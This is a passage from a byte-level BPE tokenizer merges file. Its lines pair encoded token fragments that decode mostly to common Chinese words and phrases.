+æĭĽåķĨ å¼ķ +æĭĽåķĨå¼ķ èµĦ +äºĮæīĭ 车 +åİ¿ å§Ķ +èīº äºº +å¥ ķ +è¿İ æĿ¥äºĨ +ç»ĵæĿŁ äºĨ +çļĦ ä¼łç»Ł +æĭ¼ æIJı +奥 迪 +çĸij æĥij +ä¹ĭ æĹ¥èµ· +æłĩå¿Ĺ çĿĢ +åľ° åįĢ +è¯ł éĩĬ +åΰ æľŁ +åħ¨ éĥ½ +çŁŃ æļĤ +æĺ¯ æĪijåĽ½ +æĪij å·²ç»ı +æ»´ æ»´ +天 èµĭ +对 她 +åį«çĶŁ éĹ´ +çĶŁäº§ åŁºåľ° +æĹ¥ è®° +çļĦ æķĻåѦ +åĵ ĩ +æ°ij äºĭ +è¿ĺ åİŁ +æīĭ ä¸ŃçļĦ +çļĦ èī¯å¥½ +æ· « +ä¸Ńåħ± ä¸Ń央 +åĪ ĥ +åĵ Ħ +åľ¨ ä»ĸçļĦ +å°Ī æ¥Ń +åľº éĿ¢ +éĤ» å±ħ +çĹ Ĵ +å¦ Ħ +å¤ĸ ç§ij +ä¸į éĢĤ +举åĬŀ çļĦ +é Ĥ¹ +åħļçļĦ 建设 +çϼ 表 +è·¨ çķĮ +æ²ī æ·Ģ +大 çīĩ +è¶Ĭ é«ĺ +å°Ĩ æĺ¯ +è§ī éĨĴ +åĤ¨ åŃĺ +å¢ŀ 大 +ä¸į 让 +æķ´ å½¢ +å¹³åı° ä¸Ĭ +åĩł ä½į +è¯ī æ±Ĥ +好 ä¸į好 +åľ į +æĸĩ æľ¬ +é̲ åħ¥ +ç´ į +æł¹ æĵļ +èįī æ¡Ī +åħŃ ä¸ª +åĭ ¿ +åζ æĪIJ +饮 æ°´ +æ°¸ æģĴ +èĩª æĿĢ +åı¸ 马 +éļ¾ çĤ¹ +为 æĪij们 +å¼ § +åī© ä¸ĭçļĦ +åĩĨå¤ĩ 好 +çļĦ æľĢä½³ +èģĶåIJĪ ä¼ļ +æĤ£èĢħ çļĦ +æĪijä¸į çŁ¥éģĵ +ä¸ĭ ä¸Ģ个 +åıijå±ķ æĸ¹åIJij +ç¬ ¨ +æīĢ以 æĪij们 +åĨĻ äºĨ +éĢł æĪIJäºĨ +æ²Ļ æ¼ł +çŃĽ éĢī +çģ¾ åĮº +ä¸Ĭ çľĭ +éħ ¶ +æ»ļ åĬ¨ +éļ¾ åħį +åIJī åĪ© +ä¸Ģ ä¸Ģ +ç²¾ å¯Ĩ +伸 æīĭ +礼 仪 +åħ¨ æĺ¯ +è¶Ĭ 大 +ä¸Ń æłĩ +åıĸ åĨ³ +åıĸåĨ³ äºİ +éĢĶ ä¸Ń +讨 åİĮ +æīĭ åĨĮ +第 ä¹Ŀ +åŃĶ åŃIJ +çĦ¶ å¾Į +ä¸Ģ åħ± +æµ· æĬ¥ +款 å¼ı +æķ´ 天 +è¾¹ çķĮ +è·¯ è¾¹ +æĻĭ 级 +åIJIJ æ§½ +çļĦ åħ³æ³¨ +æĪij 没æľī +å°±æĺ¯ åľ¨ +缮 çļĦæĺ¯ +åį³ä½¿ æĺ¯ +é¡¶ å°ĸ +å·²ç»ı åľ¨ +å®īåħ¨ éļIJæĤ£ +æłĩ æĿĨ +åįĹ éĢļ +ä¼ļ 对 +座 ä½į +èµ¢å¾Ĺ äºĨ +åİŁæĿ¥ çļĦ +身 为 +书 åºĹ +è¢Ń åĩ» +ä»Ĭ æĻļ +以 èī² +以èī² åĪĹ +æĬĸ éŁ³ +åį´ æ²¡æľī +丧 失 +çļĦ å±ĢéĿ¢ +åįģåĽĽ äºĶ +çŃī 缸åħ³ +æ±ĩ æĢ» +å¤ĸ 表 +为 æ°ij +éľĩ æĥĬ +å¥Ĺ è·¯ +çĬ¯ç½ª å«Įçĸij +å°Ĩ 以 +çİĩ é¢Ĩ +éħĴ åIJ§ +è¡Įä¸ļ åıijå±ķ +å¹´ èĩ³ +åύ æĿIJ +åĴĮ æĬĢæľ¯ +æľĢ å°ı +è¿Ļä¸Ģ åĪĩ +èģĮ ç§° +å½ĵ ä½ľ +æİĢ èµ· +åĴ ĭ +ä¸Ń éĥ¨ +æīĭ èĩĤ +ç½¢ äºĨ +媳 å¦ĩ +æ´½ è°Ī +æĹ¶ä»£ ä¸ŃåĽ½ +人çĶŁ çļĦ +æŀģ éĻIJ +ç¦ Ħ +åĮº æĶ¿åºľ +æľ¬ éĴ± +礼 åĵģ +çļĦ éĤ£ä¸ª +侦 æŁ¥ +太å¤ļ çļĦ +å®ŀæĸ½ æĸ¹æ¡Ī +é«ĺ æłĩåĩĨ +æĮĩæĮ¥ éĥ¨ +å̾ æĸľ +çī¹èī² ç¤¾ä¼ļ +çµIJ æŀľ +éĴ» çŁ³ +ç§» æ¤į +çī¹ ç§į +èĩª æĦ¿ +æĭľ çĻ» +åįķ 身 +åį´ åıĪ +åĪ¥ 人 +åIJĪ è§Ħ +æľº ç͵ +çī¹ æĦı +å½ĵåīį ä½įç½® +ä¹° å®¶ +åIJĪ çº¦ +èĤ© èĨĢ +为 åĩĨ +å®¶ è£ħ +çļĦ çĥŃæĥħ +éĿŀ éģĹ +çļĦ éŃħåĬĽ +åİŁ åijĬ +社ä¼ļ åIJĦçķĮ +ä¹° çļĦ +å¤ļ åIJĥ +éĽķ å¡ij +èµ· ä¹ī +åĬł åī§ +éĤ£ä¸Ģ åĪ» +å°Ĩ è¿Ľä¸ĢæŃ¥ +æ¡Ĥ æŀĹ +æĽ´ 强 +对 ä¼ģä¸ļ +æĹł æĦı +ä¹łè¿ijå¹³ æĸ° +æµģ 失 +å¾® 软 +缸 对äºİ +座è°Ī ä¼ļ +主 èIJ¥ä¸ļ +主èIJ¥ä¸ļ åĬ¡ +ç§ģ åĭŁ +å±ķ示 äºĨ +常æĢģ åĮĸ +è² ´ +符 åı· +å¹´è½» çļĦ +å°± éľĢè¦ģ +ä¹Ł æĽ¾ +çļĦæĥħ 绪 +è¾¾ æłĩ +èĩ ¨ +ä½į å±ħ +ä»ħ 为 +é¦ĸ å®¶ +éĺ´ éĺ³ +ä¸įåĨį æĺ¯ +åĽłä¸º å®ĥ +ä¼ģä¸ļ åľ¨ +çĺ ¾ +åIJ¬ è§ģ +åİŁ æľī +åζ è£ģ +å¯Ĥ å¯ŀ +éĢļè¿ĩ 对 +æ»ij éĽª +è¿Ļ å¼ł +çļĦ çIJĨè§£ +æĸ° ä¸ŃåĽ½ +è¿Ļ åĦ¿ +ä½İ ä»· +æĥ³ è¿ĩ +çļĦ ä¿¡å¿ĥ +建çŃij çī© +çļĦ é¢ľèī² +ä¸į åºĶ该 +æĹłçĸij æĺ¯ +å¼ķèµ· äºĨ +åħ¨ åijĺ +æĿ° åĩº +è¿Ļæĺ¯ æĪij +èª ° +èĺ ĩ +éĺµ åľ° +åħħ å̼ +çŁ¿ ä¸ļ +çĿĢ ä»ĸ +ä¿¡ 访 +ä¸ĩ è¾¾ +æij© æĵ¦ +å¼Ģ 端 +èı² å¾ĭ +èı²å¾ĭ 宾 +车 åŃIJ +æľ¬èº« çļĦ +çģ«è½¦ ç«Ļ +常 å·ŀ +为 代表 +为代表 çļĦ +广 ç͵ +亲 人 +åı³ æīĭ +éĽĨ è£ħ +éĽĨè£ħ ç®± +çļĦ åį°è±¡ +æ©Ł æľĥ +åĮĨ åĮĨ +åħī ç͵ +大 æĸ¹ +è¿ĺ æľª +åĪ© 好 +ç»Ŀ 大å¤ļæķ° +åľ¨ è¿Ļç§į +ä¸Ģ ç»Ħ +æĸ° èĤ¡ +转 åıij +æ³ķ åºŃ +æĹł æīĢ +éģĵ è·¯ä¸Ĭ +çŁ¿ å±± +èij ī +æĶ¶ åĽŀ +ç§° ä¹ĭ +ç§°ä¹ĭ 为 +æıŃ éľ² +åı£ 岸 +åIJ ¼ +å¿ĥ æĥ³ +çļĦ 梦æĥ³ +éĽ ¯ +ä¹ĭ åĪĿ +å¥ĸ 项 +订 éĺħ +èĵĿ 天 +åĿ¦ åħĭ +ç«ĭ æ¡Ī +èģĶ æīĭ +ä½Ĩæĺ¯ æĪij +帮 æĪij +ä»ħ 代表 +说 æĪij +çļĦ è¶ĭåĬ¿ +æ¯Ķè¾ĥ 大 +èµ° å»Ĭ +éĩįçĤ¹ é¡¹çĽ® +èµĮ åľº +åIJį çīĩ +æĦŁ åı¹ +åľ¨ åľ°ä¸Ĭ +åıij çĥŃ +èĮĥ çķ´ +çļĦ éģĵè·¯ +éĩij èī² +ä»ĸ åıĪ +ä¼ļ 产çĶŁ +æ°ij åĽ½ +å®ĺæĸ¹ ç½ijç«Ļ +æĶ¶çĽĬ çİĩ +çļĦ åΰæĿ¥ +çļĦ åĬŀæ³ķ +æĶ¹ åζ +ä¸ĩ ç§ij +ä¸į äºĪ +è¿ĻäºĽ éĹ®é¢ĺ +çα ä¸Ĭ +çIJĥ åľº +è´£ 令 +æİĪ è¯¾ +åľ¨ é¦Ļ港 +ç»Ĩ èħ» +å¤ļ ä¸ĩ +åIJĮ å¹´ +大 使 +æĸ ĭ +ä¹Ł 为 +æĥł å·ŀ +åIJī 祥 +çͰ åĽŃ +åĽ½å®¶ éĺŁ +éĩį çĶŁ +åľ¨ åħ¶ +é¦Ļ åij³ +è´Ł èį· +亲 åĪĩ +èĩª 豪 +没 éĶĻ +åĽłä¸º åľ¨ +æĺŁ æĺŁ +éĤ ij +è¿ĺæľī å¾Īå¤ļ +æij© æīĺ +æij©æīĺ 车 +æŃ¥ è¡Į +管çIJĨ ä½ĵç³» +èĦļ ä¸ĭ +éģİ åİ» +æ±ī è¯Ń +对 ä¸įèµ· +çļĦ ç»ıåİĨ +åıĬ 缸åħ³ +ä¸įå°ij 人 +éĩį ç£ħ +åĬ³åĬ¨ èĢħ +大åĬĽ åıijå±ķ +æĢİä¹Ī åģļ +çĭĹ çĭĹ +举åįĹ äºļ +åĭĩ äºİ +åħ¬ éĸĭ +çĵ· çłĸ +åıĤ çħ§ +广æĴŃ ç͵è§Ĩ +举 åĬ¨ +æ±Ł 西çľģ +æķĪ èĥ½ +å͝ æľī +éĿ¢ è²Į +èĩªåĬ¨ 驾驶 +æ¦ľ åįķ +å½ĵ æĪij们 +仲 è£ģ +æľ¨ æĿIJ +ç±³ åħ° +çϽ éĵ¶ +çļĦ 人éĥ½ +å°± åĥıæĺ¯ +æŃ¥ åħ¥ +åįł ç͍ +åĩ» è´¥ +让 大家 +ä¼ļ è®©ä½ł +åİ¿ æĶ¿åºľ +è¦ģ ç͍ +çŃī å½¢å¼ı +åįĩ é«ĺ +责任 æĦŁ +å¤ĩ ç͍ +ä»ĸ 认为 +æ¸ħåįİ å¤§åѦ +ä»ĸ èĩªå·± +éĸ± è®Ģ +太平 æ´ĭ +éĶģ å®ļ +çŃ Ĩ +è¿Ļ çīĩ +æī§ æĶ¿ +è¿ĶåĽŀ æIJľçĭIJ +å°± æŃ¤ +éģĩ åΰäºĨ +å¼Ģå¹ķ å¼ı +管çIJĨ éĥ¨éŨ +å§¿ åĬ¿ +设 æĥ³ +åĽĽ åŃ£ +æĬĢæľ¯ 人åijĺ +å·® çĤ¹ +è¾ŀ èģĮ +èĢģ 師 +çļĦ æĦŁåıĹ +ä¹Ł éĿŀ常 +å¹´ ä¸ĬåįĬå¹´ +æĢª çī© +èĮĥ æĸĩ +æĪĺ å½¹ +åIJ« ä¹ī +åħ¨ è¿ĩç¨ĭ +èĢĮ éĿŀ +éĢļ讯 åijĺ +è¿Ļæł· æīįèĥ½ +æľº ç»Ħ +è£ ı +çķ¶ çĦ¶ +èµĮ åįļ +åIJĦ æľī +å·¥ä½ľ æľºåζ +äºĭ åIJİ +åī§ éĻ¢ +å±Ĭ æĹ¶ +åĺ´ éĩĮ +主 线 +ä¸Ģ åľĪ +主è¦ģ åİŁåĽł +å°¸ ä½ĵ +åĮ»çĸĹ åĻ¨æ¢° +ä½ł æĢİä¹Ī +ä½Ĩ çͱäºİ +æĹ¶ 空 +çĶ· æľĭåıĭ +çĶľ èľľ +é«ĺ åľ° +æĻ ĸ +èĴIJ éĽĨ +åĩĿèģļ åĬĽ +å¤ĩ åıĹ +æĸĩ åĪĽ +马 æĿ¥ +马æĿ¥ 西äºļ +æŁ´ æ²¹ +使 人 +æķĻ ä¼ļ +ç§ĭ 天 +æĺİ çıł +åħŃ åįģ +çݯå¢ĥ ä¸Ń +æ¸ħ æĻ¨ +积æŀģ åıĤä¸İ +å·ħ å³° +为 æľŁ +çѾ åŃĹ +æĦŁ æ¿Ģ +ç§ĭ åŃ£ +æĿij åŃIJ +æ¢ħ 西 +æļ´ 鼨 +çĶŁæ´» åľ¨ +çªĹ æĪ· +æģ¶ åĬ£ +纯 ç²¹ +åľ¨ æİ¥åıĹ +没 èĥ½ +è¡Į 人 +åĭ º +æĭ¨ æīĵ +ä½ľ åĩºäºĨ +çļĦ 主é¢ĺ +æľª ä¾Ĩ +ä¸Ń æľĢ +æ¾ ľ +é«ĺ è¡Ģåİĭ +åħ´ èµ· +æŃ£ èĥ½éĩı +åŁ¹è®Ń çıŃ +æİ¥ åħ¥ +çĦ¶åIJİ åĨį +åѦçĶŁ 们 +é¢ĨåħĪ çļĦ +çģ« çĥŃ +ä¸ĵ èģĮ +æĪĸèĢħ 说 +建 è¨Ń +é» ı +对 åħ¬åı¸ +çī¹ æľīçļĦ +åħī èᣠ+å½ĵ åľº +éĿ¢ åŃIJ +èµĦ产 管çIJĨ +æĹ¶æľŁ çļĦ +çŀ İ +åįİ ä¸ľ +åıĪ ä¸Ģ次 +èĥİ åĦ¿ +å®ļ çĤ¹ +头 çĹĽ +æ¶² ä½ĵ +æĺ¯ä¸Ģ ä½į +帽 åŃIJ +å¹´ èµ· +ä¸į ä½İäºİ +è¾ĥ å°ij +éĿ¢ä¸´ çĿĢ +å±Ĥ å±Ĥ +èĿ´ èĿ¶ +èī° èĭ¦ +éĺ¿ æł¹ +éĺ¿æł¹ å»· +æ¦Ĥ æĭ¬ +请 éĹ® +èµ· åºĬ +å±Ģ å±Ģéķ¿ +稳 åģ¥ +å¦Ĥæŀľ æĪij们 +éħĴ ç²¾ +æĪ· åı£ +æĦŁ æĤŁ +æĪij们 éľĢè¦ģ +æĬĢ èīº +èĩª åªĴä½ĵ +è¿Ľ åĮĸ +æ¿ĢçĥĪ çļĦ +ä½ĵ 温 +èļ ķ +èĩ´ è¾ŀ +宪 æ³ķ +ä¸Ģ çŃīå¥ĸ +çĵ¶ é¢Ī +æĥł æ°ij +èµ° è·¯ +çݰ ä»» +åķĨ éĩı +ä¸ĭ 车 +åĪ ł +責 ä»» +èŀįåIJĪ åıijå±ķ +ç´ł æĿIJ +æ²¹ ä»· +åģļ 人 +çŀ ª +æĶ¹éĿ© åĪĽæĸ° +çļĦ åĮºåĪ« +è·¨å¢ĥ ç͵åķĨ +æ¶īåıĬ åΰ +æīĺ 管 +æĪij è¿ĺæĺ¯ +åĿIJ æłĩ +ç½ij 讯 +å½ĵåľ° çļĦ +追 溯 +åľŁ è̳ +åľŁè̳ åħ¶ +åºķ ä¸ĭ +åĩł åįģå¹´ +ç©¿ è¿ĩ +çĶŁæĢģ æĸĩæĺİ +æİ¨ èĸ +æİ¨èĸ ¦ +éł Ĩ +åĴ³ åĹ½ +åĪĨ æĪIJ +çĹķ 迹 +æĪ· ç±į +éĥ½ ä¸įèĥ½ +æĻļ ä¼ļ +åĢ © +ä½ĵ åĬĽ +è¿Ļ个 èģĮä¸ļ +æĹł å½¢ +åıª æĥ³ +è¿Ľ åıĸ +æĿĢ æŃ» +èĦ Ĭ +äºij åįĹçľģ +æľª çŁ¥ +ç¾İ èģĶ +ç¾İèģĶ åĤ¨ +å¤ĸ å½¢ +诱 æĥij +çĽ £ +è¡Į 使 +åłĨ 积 +çĨŁ ç»ĥ +éĺIJ è¿° +æľĢ大 éĻIJ度 +å·¡ æŁ¥ +夺 åĨł +ä¼ģä¸ļ æĸĩåĮĸ +çĭ® åŃIJ +ä¿Ŀ å®Ī +ä¸ºæł¸å¿ĥ çļĦ +æī© æķ£ +åζéĢł åķĨ +æŁĶ 软 +为ä¸Ģä½ĵ çļĦ +游 çİ© +çĶŁ çĹħ +幫 åĬ© +åͱ æŃĮ +æīį åı¯ä»¥ +宽 æĿ¾ +è¦ģ æ¯Ķ +æĺ¯ æĢİæł· +çģ° èī² +çİĭ åĽ½ +æIJħ æĭĮ +计 éĩı +åij¨åĽ´ çļĦ +æĻºèĥ½ æīĭæľº +常 åĬ¡ +常åĬ¡ åī¯ +é© ´ +å°Ĩ è¿ij +寻 常 +ä¸ŃåĽ½ å¸Ĥåľº +容 åύ +å±± ä¸Ĭ +èĥĮåIJİ çļĦ +亲 å¯Ĩ +æīĢ以 说 +éİ ® +çļĦ çIJĨçͱ +大 åŁİå¸Ĥ +常 å¹´ +æĹħ游 ä¸ļ +å°±æĺ¯ è¿Ļæł· +åĨį æĿ¥ +é«ĺ ä½į +åĨħ 饰 +æŀĦ éĢł +ä¸Ģ èµ·æĿ¥ +çͳ è«ĭ +å·²ç»ı å¼Ģå§ĭ +çļĦ åĬ¨ä½ľ +被 è¿« +éģį å¸ĥ +åīĸ æŀIJ +å°ı äºĭ +å¿ĥ ä¸ŃçļĦ +ä½ĵåζ æĶ¹éĿ© +çļĩ å®¶ +æķĻ åłĤ +åIJĥ å®Į +åĽ½æ°ij åħļ +æĺİç¡® äºĨ +åıijå±ķ è§ĦåĪĴ +第ä¸Ģ æŃ¥ +å¾Ĺ èµ· +åľ¨ åĵª +çļĦ è·¯ä¸Ĭ +é» Ķ +çķ¶ æĻĤ +大åĬĽ æĶ¯æĮģ +åıĮ éĩį +çŁ¥éģĵ èĩªå·± +åIJĪä½ľ åįıè®® +æ°Ķ åĬ¿ +éķ¿æķĪ æľºåζ +ç½ķ è§ģ +åĽŀ æĿ¥äºĨ +ä»ĸ ä¼ļ +ä¸Ń æĸ° +ä¸Ńæĸ° ç½ij +çļĦ åķĨåĵģ +èµł éĢģ +決 å®ļ +å¸Ĥåľº çĽij管 +çķĻ åѦçĶŁ +ç͵ åİĭ +äºļ 马 +äºļ马 éĢĬ +è¿ĺæĺ¯ æ¯Ķè¾ĥ +ä¿ĥè¿Ľ äºĨ +æµģ åħ¥ +æijĦ åĥı +æijĦåĥı 头 +æıIJ åıĬ +åıij æİĺ +æī¾ åĩº +æ¢Ŀ ä»¶ +ç¹¼ çºĮ +æĪij åĸľæ¬¢ +å¥ İ +æ¦ľ æł· +å¼Ģ èĬ± +æ²ī éĩį +åŁº åĩĨ +ä»ħä»ħ æĺ¯ +轨éģĵ 交éĢļ +åĶIJ å±± +çŃī ä¸Ģç³»åĪĹ +ä¸įè¿ĩ æĺ¯ +åŃĺåľ¨ çĿĢ +èĬ± çĶŁ +å¤ · +ç»Ī ç©¶ +ä¹Łæĺ¯ ä¸Ģ个 +åįģ åŃĹ +èĸª éħ¬ +伤 å¿ĥ +æĺ¥ ç§ĭ +åĨ· åį´ +ç²¾ çģµ +çļĦ åľ°åĽ¾ +æ¯Ķ çī¹ +æ¯Ķçī¹ å¸ģ +æĢ§ åĪ« +ä½Ļ ä¸ĩåħĥ +ä¸įå¿ĺ åĪĿå¿ĥ +å¿ĥ çĸ¼ +æĽ² 线 +é«ĺ ä½İ +è¦ı å®ļ +æĻ¯ èī² +è¦ģ 说 +åħ¬åı¸ å°Ĩ +æ¶² åİĭ +è¿Ŀ 约 +åİļ 度 +åºŀ 大çļĦ +è¿ĺæĺ¯ å¾Ī +é¦ĸåħĪ æĺ¯ +çµ ² +åĬ¡ å®ŀ +並 ä¸Ķ +å¢ŀ è¿Ľ +ç»Ħç»ĩ å¼Ģå±ķ +èµ·æĿ¥ äºĨ +è¾ĥ å°ı +导 游 +两 åľ° +ç¿ ĺ +çģ¿ çĥĤ +é£İ éĩĩ +æĶ¯ 线 +æĶ¯çº¿ ä»»åĬ¡ +娱ä¹IJ åľĪ +天津 å¸Ĥ +åĮħ åĽ´ +æľ¬ èµĽåŃ£ +éĩįè¦ģ 讲è¯Ŀ +åıĮ åIJij +åįİ ä¸½ +éĶ ¤ +åĦ¿ 女 +åįĸ åĩº +ä¾Ĩ 說 +ä»ĭç»į ä¸Ģä¸ĭ +åIJ¦ 认 +åĭ Ŀ +æĻ®éĢļ 人 +çļĦ åĬ¨åĬĽ +涨 åģľ +åŁºéĩij 管çIJĨ +ä¸Ģ个 éĩįè¦ģ +è¿IJ æ²³ +çħ ŀ +è´¢æĶ¿ éĥ¨ +è¡Įä¸ļ åįıä¼ļ +éĥ½ å°Ĩ +è¨Ģ 论 +ä¸ĭ ä¾Ĩ +墨 西 +墨西 åĵ¥ +åĽłä¸º ä»ĸ们 +æĢİä¹Ī åĽŀäºĭ +åĬłå¤§ 对 +èĬ Ń +çīĮ åŃIJ +ä¼ļ 使 +妹 åŃIJ +ç«Ļ éķ¿ +å¿ħ å¤ĩ +æłij æľ¨ +æģ¶ æĦı +æ²³ éģĵ +å¯Į è£ķ +ç¹ģ åįİ +代表 åĽ¢ +æµij 身 +é¦ĸ ä½į +èĪªç©º åħ¬åı¸ +鼻 å½± +ä¸ĵ è¾ij +æ°´ æºIJ +ä¸Ń æ¯Ĵ +並 ä¸į +èĢĮ åİ» +é ĥĿ +äºİ æŃ¤ +æĸĩåĮĸ 建设 +èĤ¯å®ļ ä¼ļ +å¸ĮæľĽ 大家 +æıı åĨĻ +ä½İ è°ĥ +æĸ°åħ´ 产ä¸ļ +æ·Ħ åįļ +æĶ¾ å¼Ģ +çļĦ æĢ§æł¼ +çĸ¾çĹħ çļĦ +æķ´ é¡¿ +线ä¸Ĭ 线ä¸ĭ +éĢī 项 +çļĦ 认åı¯ +æķ´ é½IJ +çĶļ ä¹Ī +çľģ åĨħ +åı¤ 人 +æ°ij ä¿Ĺ +çī¡ ä¸¹ +éŨ çªĹ +éĤ£ æł·çļĦ +çĽijäºĭ ä¼ļ +ç¿¡ ç¿ł +ç¦ ¹ +åįĥä¸ĩ ä¸įè¦ģ +æĶ¶ 缩 +çļĦ æĸĩåŃĹ +åĴĮ å°ļ +æĮĩ 令 +åħ±äº§ åħļåijĺ +çļĦ çĪ¶äº² +å®Į å·¥ +åĬ¡ å·¥ +马 æĭī +马æĭī æĿ¾ +æµĭ è¯Ħ +å² ļ +ä¸į åģļ +ä¸ĥ å¹´ +åĿĩ ä»· +主 è§Ĥ +å¾Ī ä¸įéĶĻ +èĤ¡ä¸ľ 大ä¼ļ +äºĶ ä¸Ģ +é£İ åIJ¹ +å¼Ģ éĩĩ +è¿Ļä¹Ī 大 +èĥ½ çľĭåΰ +èĢĥ è¯Ħ +åį³ ä¾¿æĺ¯ +çݰ代 åĨľä¸ļ +æ¯Ķè¾ĥ é«ĺ +è¦ģ çľĭ +没 äºĨ +è§£ 決 +çݯ æ¯Ķ +åĨ² åĬ¨ +æ·± å¤ľ +åĩł åįĥ +ä¿ ı +ç½ij æ°ij +å°± 没 +ä»ĸ 表示 +éĩı åŃIJ +æĹ©é¤IJ åĬłçĽŁ +åįĬ å²Ľ +æIJŀ ç¬ij +ä¸Ĭ æĬ¥ +å¯ © +é¢Ħ 订 +èľĤ èľľ +æŁ¥ æī¾ +ä¼Ĺ æīĢ +ä¼ĹæīĢ åij¨ +ä¼ĹæīĢåij¨ çŁ¥ +æĹ© æĹ¥ +åıij æī¬ +åĴĮ 个人 +åĬłåħ¥ äºĨ +åĸ® ä½į +åĪĨ æĺİ +第ä¸Ģ æī¹ +ç¾İ åĨĽ +æĿĢ æīĭ +éŨ å¤ĸ +åķĨ åľĪ +ä¸Ģ åĪ» +çļĦçľ¼ ç¥ŀ +éľ Ħ +äºĽ ä»Ģä¹Ī +åĬł æ·± +æ¯ı ä½į +å¸Ĥ éĿ¢ä¸Ĭ +åıĶ åıĶ +çļĦ éĤ£ç§į +粤 港澳 +è´´ å¿ĥ +æĸĩåĮĸ 产ä¸ļ +红 æĹĹ +åĺī åħ´ +æĶ¶ çĽĺ +å®ĮæĪIJ åIJİ +ä¼ģä¸ļ 管çIJĨ +纵 横 +ä¸į ä¿¡ +æĪIJ éĥ½å¸Ĥ +æ´Ĺ 澡 +举è¡Į çļĦ +çĶ¢ çĶŁ +ç©¿ ä¸Ĭ +åĪļ 好 +åħī 线 +æīĵ æŀ¶ +è¿Ļ æľ¬ä¹¦ +åĶ®åIJİ æľįåĬ¡ +åĩł åĪĨ +ä¸Ĭ 次 +ä¸į åĪĨ +产 åIJİ +éģ¿ å¼Ģ +ç»Ī æŀģ +代表 大ä¼ļ +æ¼Ķ æĬĢ +åĽŀ è´Ń +åѦ è´¹ +éĺ» ç¢į +ä¸Ģ大 æī¹ +ç«£ å·¥ +åĨ³ å®ļäºĨ +ä½Ĩ å¦Ĥæŀľ +ç͵ æµģ +ä¸Ŀ 毫 +èĥ½å¤Ł åľ¨ +éĶĢåĶ® æĶ¶åħ¥ +åľ¨ åŃ¦æł¡ +æ°´ åĩĨ +è§Ĩ 线 +èĩª åľ¨ +åķĨä¸ļ éĵ¶è¡Į +为äºĨ 让 +çį² å¾Ĺ +çݩ家 æľĭåıĭ +éĿ¢ èĨľ +åĪĨ åī² +åī§ æľ¬ +ç« Ń +说 å¾Ĺ +æĥ³ çŁ¥éģĵ +çļĦ人 çī© +èĮħ åı° +åIJĮ ä¸Ģ个 +æķ°æį® ä¸Ńå¿ĥ +çĶ Ħ +åĸľ æĤ¦ +ä¸ĭæĿ¥ çļĦ +å®ļ åIJij +æŀģ åħ· +çļĦ åľŁåľ° +éĤ£ åĢĭ +æijĦ åħ¥ +äºĨ æĪijçļĦ +马 è·¯ +åħ¨ 社ä¼ļ +è®® æ¡Ī +å±ĭ åŃIJ +åIJį åı« +åĮ ª +åľ¨ å¤ĸéĿ¢ +åįİ åįĹ +åıij è´§ +å¯Ĵ åĨ· +é«ĺçŃī æķĻèĤ² +详ç»Ĩ çļĦ +个 é¡¹çĽ® +çĶŁäº§ åĬĽ +æĹ¶ 常 +å°± æľĥ +ä¸ĩ èĤ¡ +éĻĮçĶŁ 人 +æıı ç»ĺ +å½ĵ çĦ¶æĺ¯ +æĭī åĬ¨ +éĵ¾ æĿ¡ +æī£ éϤ +ä¸Ģ缴 éĥ½ +å°ı åŃ©åŃIJ +伤 åı£ +第äºĮ å±Ĭ +è´Ń ç½® +çļĩ 马 +æĹł èģĬ +表 åĨ³ +诸 å¦Ĥ +åĵį èµ· +é£İ æļ´ +ä¸Ģæµģ çļĦ +ç ·¨ +è§£æĶ¾ åĨĽ +室 å¤ĸ +å°± è¿Ļä¹Ī +å³ ¶ +æīĢæľī 人éĥ½ +æIJľç´¢ å¼ķæĵİ +çļĦ æĪIJæľ¬ +åħļ æĶ¿ +åıijè¡Į 人 +çļĦ äºĭå®ŀ +对 该 +åıĹ æįŁ +ä¿Ħ ä¹Į +é²ľ èĬ± +åĨľ èᝠ+æŀģ éĢŁ +æĢ¥ æĢ§ +两 ä¼ļ +ä¸Ģèά æĿ¥è¯´ +æµ· é²ľ +åĨ Ī +ç͍ 人 +çĶ¨äºº åįķä½į +åĢ ª +åĦª æĥł +æł¹ æºIJ +åĽ¢ è´Ń +ç¾İ æ´² +ä¸ĭ è¡Į +å¹´ æľ« +èľ ¡ +è¯ģ ä»¶ +åľ¨ æĪijåĽ½ +ä¸į åºĶ +æĮī æĹ¶ +åłª ç§° +åľº ä¸Ĭ +å¹²éĥ¨ èģĮå·¥ +æľī å¾Ī大çļĦ +æķ°åŃĹ ç»ıæµİ +æ¼Ķ ç»ĥ +æį® ç»Łè®¡ +å¾Ģ æĿ¥ +广åijĬ æľįåĬ¡ +çļĦ è·Ŀ离 +æŃ ¸ +è¨Ģ è¯Ń +被 èªī +被èªī 为 +åĭī 强 +å°Ĭ æķ¬ +ä¸ĩ 亿åħĥ +ä¸ŃåĽ½ åĽ½éĻħ +å¹² é¢Ħ +å¹´ 产 +èĢķ åľ° +èĮ İ +åį³ æĺ¯ +æĺ¨ æĻļ +æĪIJ为 ä¸Ģ个 +çºł æŃ£ +åij½ åIJį +é¢ģ å¸ĥ +çĮľ æµĭ +ä¿ĿèŃ· æĶ¿çŃĸ +æĭ ¢ +æ´» æ³¼ +çŃī éĥ¨éŨ +åѦ åΰ +å¢ŀå̼ ç¨İ +èĪª 线 +åĨ ¤ +åįģ åĩłå¹´ +æİ§èĤ¡ èĤ¡ä¸ľ +ä¸Ģ éŨ +个 å·¥ä½ľ +ä¸ªå·¥ä½ľ æĹ¥ +æĸ° 西 +æĸ°è¥¿ åħ° +论 è¯ģ +ä» Ĩ +åı¦å¤ĸ ä¸Ģ个 +æĶ¹ ç¼ĸ +严 ç¦ģ +åĸľ 好 +个人 ä¿¡æģ¯ +满æĦı 度 +åĵ ¨ +å¸Ī èµĦ +æĶ¹ 为 +ç«ŀäºī 对æīĭ +åĩº çĤī +åķĨ 人 +大 æ£ļ +æĮĩ导 ä¸ĭ +å¦ĩ ç§ij +è¼ ª +æī ģ +åIJĮæĹ¶ è¿ĺ +å¹¶ éĢļè¿ĩ +æĪĺ éĺŁ +èĶĵ å»¶ +ä¿ ŀ +éĢĤå½ĵ çļĦ +åīį è¾Ī +åĵģ åij³ +湿 åľ° +æĪIJ åŀĭ +ä¸į åıªæĺ¯ +æĥ© ç½ļ +åĩºåı° äºĨ +çİ© 游æĪı +æīį åıijçݰ +åºĶ èģĺ +å¤ĸ æĿ¥ +åįł é¢Ĩ +å±ķ æľĽ +å« Ĥ +港 èĤ¡ +æ¡Į ä¸Ĭ +æĶ¯ æŁ± +çļĦæĥħ å½¢ +广éĺĶ çļĦ +æĶ¯ è¡Į +å´© æºĥ +æľĪ ä¸Ń +æľĪä¸Ń æĹ¬ +ç»į åħ´ +临 è¿ij +æĬ¤ æłı 